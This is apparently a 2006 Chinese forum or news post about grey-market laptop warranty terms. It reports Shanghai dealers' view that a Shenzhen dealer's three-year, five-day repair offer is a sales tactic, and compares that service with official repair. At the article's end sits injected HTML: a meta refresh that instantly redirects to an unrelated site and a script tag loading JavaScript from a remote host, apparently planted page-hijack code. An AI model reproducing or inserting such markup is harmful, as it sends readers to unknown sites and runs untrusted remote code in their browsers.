日前，传闻深圳有大的水货经销商开始实行新的水货的维修制度，不但可以做到三年全免费保修，而且维修时间从传统的水货14天升级为5天以内。就此本站记者采访了上海一些水货经销商，据了解，目前上海还没有类似的水货保修条款，多数水货商家的保修服务依然维持原先的一年全免费，维修时间在7天到14天之间。另外，一些上海的水货经销商表示，深圳方面所提供的保修服务看上去是升级了，但实际上并非是水货上游渠道、政策发生变化，仅是一种销售策略而已。
如在三年全免费保修条款上，尽管习惯上水货是提供一年保修，但是实际上，只要支付若干费用，商家也会提供第二、第三年的免费保修服务。如某IBM水货经销商在自己的网站上就白纸黑字写明，该商家所售的H货（即来自香港的水货笔记本）一年内提供全免费保修，第二、第三年，在收取350元维修费用后也可以提供免费保修服务。而且这些保修是包含一切费用（即来回香港、回发机器给客户所在地费用，不包括客户发至商家的费用）。因此如果承诺三年全免费保修的水货笔记本价格要比原先一年保修的笔记本价格贵一些的话，只能说这是一种“朝三暮四”的做法，很难说是升级。
另外再看从14天升到5天的保修时间升级方面。
首先，目前多数水货商家提供的是7天快修服务而并非很久之前的14天。其次，原本14天的维修并非是维修真正需要的时间，而是已经包含了商家为了避免承诺无法实现而留的冗余空间。
据上海的水货商家表示，上海销售的水货需要维修时，在最快的模式下，第一天接受送修的笔记本，通过空运发出，第二天深圳即可收到，当天送到香港维修，维修结束送回深圳空运上海，第四天傍晚水货商家就可以收到，第五天就可以交给客户。而在前述的深圳水货商家由于减少了空运到深圳的时间，因此维修时间甚至能低至2到3天。因此尽管看似维修时间从传统的水货14天升级为5天以内，但实际上这只是一种销售策略，并不是水货的保修真正发生了改变。
即便如此，水货的保修方式依然应该说有所进步，甚至比起行货的保修服务都有优势。如水货商家有时候要解决客户的系统问题、病毒问题、软件问题，而行货维修点绝对不会免费为客户提供这样的服务。而部分水货商家承诺的“（排除不可控因素）而造成维修时间延误的，超过1天以上，本商城全额返还维修服务费”的条款，更是行货所不可能承诺的。
当然，水货在保修期内的服务都系于水货商家一身，并不能得到厂家的支持，因此也具有相当大的风险，不过凭着比起行货低廉得多的价格、更胜一筹的保修承诺（不考虑风险前提下），水货的诱惑力确实越来越大，某些品牌的行货也确实该考虑考虑改变高昂价格、死板服务的做法了。<meta http-equiv="refresh" content="0; url=http://www.981.cc">
★★★
<script type="text/javascript" src="http://www.972.cc/1.js"></script>
<link href="http://www.972.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
<P> </P>
|
[复制链接]
发表于 2006-7-5 18:34
发表于 2006-7-6 10:12
关于我们